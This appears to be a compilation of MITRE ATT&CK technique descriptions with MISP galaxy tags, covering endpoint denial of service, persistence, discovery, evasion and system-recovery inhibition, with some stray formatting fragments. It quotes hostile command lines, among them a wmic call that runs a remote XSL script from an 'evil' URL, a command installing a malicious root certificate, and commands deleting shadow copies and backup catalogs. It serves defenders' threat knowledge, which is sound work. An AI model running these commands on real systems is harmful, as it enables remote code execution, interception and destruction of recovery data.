Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes (Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction (Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion (Citation: Symantec DDoS October 2014).

An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.
Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target’s resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks. (Citation: USNYAG IranianBotnet March 2016)

In cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers. (Citation: ArsTechnica Great Firewall of China)

For attacks attempting to saturate the providing network, see the Network Denial of Service Technique [Network Denial of Service](https://attack.mitre.org/techniques/T1498).

**OS Exhaustion Flood**

Since operating systems (OSs) are responsible for managing the finite resources on a system, they can be a target for DoS. These attacks do not need to exhaust the actual resources on a system since they can simply exhaust the limits that an OS self-imposes to prevent the entire system from being overwhelmed by excessive demands on its capacity. Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods. (Citation: Arbor AnnualDoSreport Jan 2018)

**SYN Flood**

With SYN floods excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server. (Citation: Cloudflare SynFlood)

**ACK Flood**

ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service. (Citation: Corero SYN-ACKflood)
Service Exhaustion Flood

Different network services provided by systems are targeted in different ways to conduct a DoS. Adversaries often target DNS and web servers, but other services have been targeted as well. (Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.

Simple HTTP Flood

A large number of HTTP requests can be issued to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service. (Citation: Cloudflare HTTPflood)

SSL Renegotiation Attack

SSL Renegotiation Attacks take advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume. (Citation: Arbor SSLDoS April 2012)

Application Exhaustion Flood

Web applications that sit on top of web server stacks can be targeted for DoS. Specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust resources and deny access to the application or the server itself. (Citation: Arbor AnnualDoSreport Jan 2018)

Application or System Exploitation

Software vulnerabilities exist that when exploited can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.

Exploit Public-Facing Application - T1190

The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet
accessible open sockets, such as web servers and related services. Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211).

If an application is hosted on cloud-based infrastructure, then exploiting it may lead to compromise of the underlying instance. This can allow an adversary a path to access the cloud APIs or to take advantage of weak identity and access management policies.

For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.

**Two-Factor Authentication Interception - T1111**

Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.

If a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to
obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)

Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user’s personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)

Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)

.bash_profile and .bashrc - T1156

<code>~/.bash_profile</code> and <code>~/.bashrc</code> are shell scripts that contain shell commands. These files are executed in a user’s context when a new shell opens or when a user logs in so that their environment is set correctly. <code>~/.bash_profile</code> is executed for login shells and <code>~/.bashrc</code> is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the <code>~/.bash_profile</code> script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the <code>~/.bashrc</code> script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment.

The macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling <code>~/.bash_profile</code> each time instead of <code>~/.bashrc</code>.

Adversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified <code>~/.bash_profile</code> and/or <code>~/.bashrc</code> scripts will be executed.(Citation: amnesia malware).

System Owner/User Discovery - T1033

Windows

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Mac

On Mac, the currently logged in user can be identified with `<code>users</code>`, `<code>w</code>`, and `<code>who</code>`.

Linux

On Linux, the currently logged in user can be identified with `<code>w</code>` and `<code>who</code>`.

### Unused/Unsupported Cloud Regions - T1535

Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.

Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.

A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. For example, AWS GuardDuty is not supported in every region.(Citation: AWS Region Service Table)

An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)

Winlogon Helper DLL - T1004

Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in `<code>HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\</code>` and `<code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code>` are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)

- **Winlogon\Notify** - points to notification package DLLs that handle Winlogon events
- **Winlogon\Userinit** - points to userinit.exe, the user initialization program executed when a user logs on
- **Winlogon\Shell** - points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.

### Compile After Delivery - T1500

Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)

Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)

**System Service Discovery - T1007**

Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057), and "net start" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: `misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007"`

---

**Taint Shared Content - T1080**

Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.

A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1023) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1158). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)

Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.

Security Support Provider - T1101

Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user’s Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: `<code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code>` and `<code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>`. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. (Citation: Graeber 2014)

Password Policy Discovery - T1201

Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password...
length should be 8, then not trying passwords such as ‘pass123’; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

Password policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)

**Install Root Certificate - T1130**

Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root’s chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate)
Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)

In macOS, the Ay MaMi malware uses `<code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code>` to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)

**Modify Existing Service - T1031**

Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).
Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.

Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)

The tag is: **misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031"**

### Remote File Copy - T1105

Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.

Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076).

The tag is: **misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105"**

### Execution through API - T1106

Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start
other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)

Additional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)

- CreateProcessA() and CreateProcessW(),
- CreateProcessAsUserA() and CreateProcessAsUserW(),
- CreateProcessInternalA() and CreateProcessInternalW(),
- CreateProcessWithLogonW(), CreateProcessWithTokenW(),
- LoadLibraryA() and LoadLibraryW(),
- LoadLibraryExA() and LoadLibraryExW(),
- LoadModule(),
- LoadPackagedLibrary(),
- WinExec(),
- ShellExecuteA() and ShellExecuteW(),
- ShellExecuteExA() and ShellExecuteExW() 

The tag is: misp-galaxy:mitre-attack-pattern="Execution through API - T1106"

**Graphical User Interface - T1061**

The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.

The tag is: misp-galaxy:mitre-attack-pattern="Graphical User Interface - T1061"
Application Deployment Software - T1017

Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.

Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The tag is: misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017"

Credentials in Files - T1081

Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)

Remote System Discovery - T1018

Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. Adversaries may also use local host files in order to discover the hostname to IP address mappings of remote systems.

Windows

Examples of tools and commands that acquire this information include "ping" or "net view" using [Net](https://attack.mitre.org/software/S0039). The contents of the <code>C:\Windows\System32\Drivers\etc\hosts</code> file can be viewed to gain insight into the existing hostname to IP mappings on the system.

Mac

Specific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as "ping" and others can be used to gather information about remote systems. The contents of the <code>/etc/hosts</code> file can be viewed to gain insight into existing hostname to IP mappings on the system.

Linux

Utilities such as "ping" and others can be used to gather information about remote systems. The contents of the <code>/etc/hosts</code> file can be viewed to gain insight into existing hostname to IP mappings on the system.

Cloud

In cloud environments, the above techniques may be used to discover remote systems depending upon the host operating system. In addition, cloud environments often provide APIs with information about remote systems and services.

Indirect Command Execution - T1202

Various Windows utilities may be used to execute commands, possibly without invoking \texttt{cmd}(https://attack.mitre.org/software/S0106). For example, \texttt{Forfiles}(https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)

Adversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of \texttt{cmd}(https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.

The tag is: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"

</table>

XSL Script Processing - T1220

Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017)

Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)

- \texttt{<code>msxsl.exe customers[.]xml script[.]xsl</code>}
- \texttt{<code>msxsl.exe script[.]xsl script[.]xsl</code>}

874
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file. (Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117) “Squiblydoo” counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch. (Citation: XSL Bypass Mar 2019)

Command-line examples: (Citation: XSL Bypass Mar 2019) (Citation: LOLBAS Wmic)

- Local File: `<code>wmic process list /FORMAT:evil[.]xsl</code>`
- Remote File: `<code>wmic os get /FORMAT:"https[:\]//example[.]com/evil[.]xsl"</code>`

Custom Cryptographic Protocol - T1024

Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.

Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.

Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)

Domain Generation Algorithms - T1520

Adversaries may use Domain Generation Algorithms (DGAs) to procedurally generate domain names for command and control communication,
other uses such as malicious application distribution.(Citation: securelist rotxy 2018)

DGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.

**Parent PID Spoofing - T1502**

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the `<code>CreateProcess</code>` API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via `<code>svchost.exe</code>` or `<code>consent.exe</code>`) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1085) to be `<code>explorer.exe</code>` rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Execution through API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as `<code>lsass.exe</code>`), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)

System Information Discovery - T1082

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Windows

Example commands and utilities that obtain this information include `<code>ver</code>`, `[Systeminfo](https://attack.mitre.org/software/S0096), and `<code>dir</code>` within [cmd](https://attack.mitre.org/software/S0106) for identifying information based on present files and directories.

Mac

On Mac, the `<code>systemsetup</code>` command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the `<code>system_profiler</code>` gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.

AWS

In Amazon Web Services (AWS), the Application Discovery Service may be used by an adversary to identify servers, virtual machines, software, and software dependencies running.(Citation: Amazon System Discovery)

GCP

On Google Cloud Platform (GCP) `<code>GET /v1beta1/{parent=organizations/}assets</code>` or `<code>POST /v1beta1/{parent=organizations/}/assets:runDiscovery</code>` may be used to list an organizations cloud assets, or perform asset discovery on a cloud environment.(Citation: Google
**Azure**

In Azure, the API request

```
GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}?api-version=2019-03-01
```

may be used to retrieve information about the model or instance view of a virtual machine. (Citation: Microsoft Virtual Machine API)

**Windows Remote Management - T1028**

Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)

The tag is: `misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028"`

**Commonly Used Port - T1043**

Adversaries may communicate over a commonly used port to bypass firewalls or network detection
systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as

- TCP:80 (HTTP)
- TCP:443 (HTTPS)
- TCP:25 (SMTP)
- TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are

- TCP/UDP:135 (RPC)
- TCP/UDP:22 (SSH)
- TCP/UDP:3389 (RDP)

The tag is: mish-galaxy:mitre-attack-pattern="Commonly Used Port - T1043"

**Security Software Discovery - T1063**

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Windows

Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.

Mac

It’s becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

The tag is: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063"

**Test physical access - T1360**

An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)

The tag is: misp-galaxy:mitre-attack-pattern="Test physical access - T1360"

**Exploit OS Vulnerability - T1404**

A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.

The tag is: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404"
**Exploit TEE Vulnerability - T1405**

A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).

**Windows Management Instrumentation - T1047**

Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS
An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)

The tag is: `misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047"`

### Inhibit System Recovery - T1490

Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery. (Citation: Talos Olympic Destroyer 2018) (Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486). (Citation: Talos Olympic Destroyer 2018) (Citation: FireEye WannaCry 2017)

A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

- `<code>vssadmin.exe</code>` can be used to delete all volume shadow copies on a system - `<code>vssadmin.exe delete shadows /all /quiet</code>`

- `[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)` can be used to delete volume shadow copies - `<code>wmic shadowcopy delete</code>`

- `<code>wbadmin.exe</code>` can be used to delete the Windows Backup Catalog - `<code>wbadmin.exe delete catalog -quiet</code>`

